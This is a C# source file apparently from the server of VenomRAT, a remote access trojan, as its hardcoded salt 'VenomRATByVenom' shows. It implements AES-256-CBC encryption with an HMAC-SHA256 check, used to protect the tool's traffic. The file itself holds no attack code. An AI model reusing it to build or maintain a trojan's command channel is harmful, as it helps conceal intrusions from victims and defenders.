121 lines
3.9 KiB
C#
121 lines
3.9 KiB
C#
using System;
|
|
using System.IO;
|
|
using System.Runtime.CompilerServices;
|
|
using System.Security.Cryptography;
|
|
using System.Text;
|
|
|
|
namespace Server.Algorithm;
|
|
|
|
public class Aes256
|
|
{
|
|
private const int KeyLength = 32;
|
|
|
|
private const int AuthKeyLength = 64;
|
|
|
|
private const int IvLength = 16;
|
|
|
|
private const int HmacSha256Length = 32;
|
|
|
|
private readonly byte[] _key;
|
|
|
|
private readonly byte[] _authKey;
|
|
|
|
private static readonly byte[] Salt = Encoding.ASCII.GetBytes("VenomRATByVenom");
|
|
|
|
public Aes256(string masterKey)
|
|
{
|
|
if (string.IsNullOrEmpty(masterKey))
|
|
{
|
|
throw new ArgumentException("masterKey can not be null or empty.");
|
|
}
|
|
using Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(masterKey, Salt, 50000);
|
|
_key = rfc2898DeriveBytes.GetBytes(32);
|
|
_authKey = rfc2898DeriveBytes.GetBytes(64);
|
|
}
|
|
|
|
public string Encrypt(string input)
|
|
{
|
|
return Convert.ToBase64String(Encrypt(Encoding.UTF8.GetBytes(input)));
|
|
}
|
|
|
|
public byte[] Encrypt(byte[] input)
|
|
{
|
|
if (input == null)
|
|
{
|
|
throw new ArgumentNullException("input can not be null.");
|
|
}
|
|
using MemoryStream memoryStream = new MemoryStream();
|
|
memoryStream.Position = 32L;
|
|
using (AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider())
|
|
{
|
|
aesCryptoServiceProvider.KeySize = 256;
|
|
aesCryptoServiceProvider.BlockSize = 128;
|
|
aesCryptoServiceProvider.Mode = CipherMode.CBC;
|
|
aesCryptoServiceProvider.Padding = PaddingMode.PKCS7;
|
|
aesCryptoServiceProvider.Key = _key;
|
|
aesCryptoServiceProvider.GenerateIV();
|
|
using CryptoStream cryptoStream = new CryptoStream(memoryStream, aesCryptoServiceProvider.CreateEncryptor(), CryptoStreamMode.Write);
|
|
memoryStream.Write(aesCryptoServiceProvider.IV, 0, aesCryptoServiceProvider.IV.Length);
|
|
cryptoStream.Write(input, 0, input.Length);
|
|
cryptoStream.FlushFinalBlock();
|
|
using HMACSHA256 hMACSHA = new HMACSHA256(_authKey);
|
|
byte[] array = hMACSHA.ComputeHash(memoryStream.ToArray(), 32, memoryStream.ToArray().Length - 32);
|
|
memoryStream.Position = 0L;
|
|
memoryStream.Write(array, 0, array.Length);
|
|
}
|
|
return memoryStream.ToArray();
|
|
}
|
|
|
|
public string Decrypt(string input)
|
|
{
|
|
return Encoding.UTF8.GetString(Decrypt(Convert.FromBase64String(input)));
|
|
}
|
|
|
|
public byte[] Decrypt(byte[] input)
|
|
{
|
|
if (input == null)
|
|
{
|
|
throw new ArgumentNullException("input can not be null.");
|
|
}
|
|
using MemoryStream memoryStream = new MemoryStream(input);
|
|
using AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider();
|
|
aesCryptoServiceProvider.KeySize = 256;
|
|
aesCryptoServiceProvider.BlockSize = 128;
|
|
aesCryptoServiceProvider.Mode = CipherMode.CBC;
|
|
aesCryptoServiceProvider.Padding = PaddingMode.PKCS7;
|
|
aesCryptoServiceProvider.Key = _key;
|
|
using (HMACSHA256 hMACSHA = new HMACSHA256(_authKey))
|
|
{
|
|
byte[] a = hMACSHA.ComputeHash(memoryStream.ToArray(), 32, memoryStream.ToArray().Length - 32);
|
|
byte[] array = new byte[32];
|
|
memoryStream.Read(array, 0, array.Length);
|
|
if (!AreEqual(a, array))
|
|
{
|
|
throw new CryptographicException("Invalid message authentication code (MAC).");
|
|
}
|
|
}
|
|
byte[] array2 = new byte[16];
|
|
memoryStream.Read(array2, 0, 16);
|
|
aesCryptoServiceProvider.IV = array2;
|
|
using CryptoStream cryptoStream = new CryptoStream(memoryStream, aesCryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Read);
|
|
byte[] array3 = new byte[memoryStream.Length - 16 + 1];
|
|
byte[] array4 = new byte[cryptoStream.Read(array3, 0, array3.Length)];
|
|
Buffer.BlockCopy(array3, 0, array4, 0, array4.Length);
|
|
return array4;
|
|
}
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
|
|
private bool AreEqual(byte[] a1, byte[] a2)
|
|
{
|
|
bool result = true;
|
|
for (int i = 0; i < a1.Length; i++)
|
|
{
|
|
if (a1[i] != a2[i])
|
|
{
|
|
result = false;
|
|
}
|
|
}
|
|
return result;
|
|
}
|
|
}
|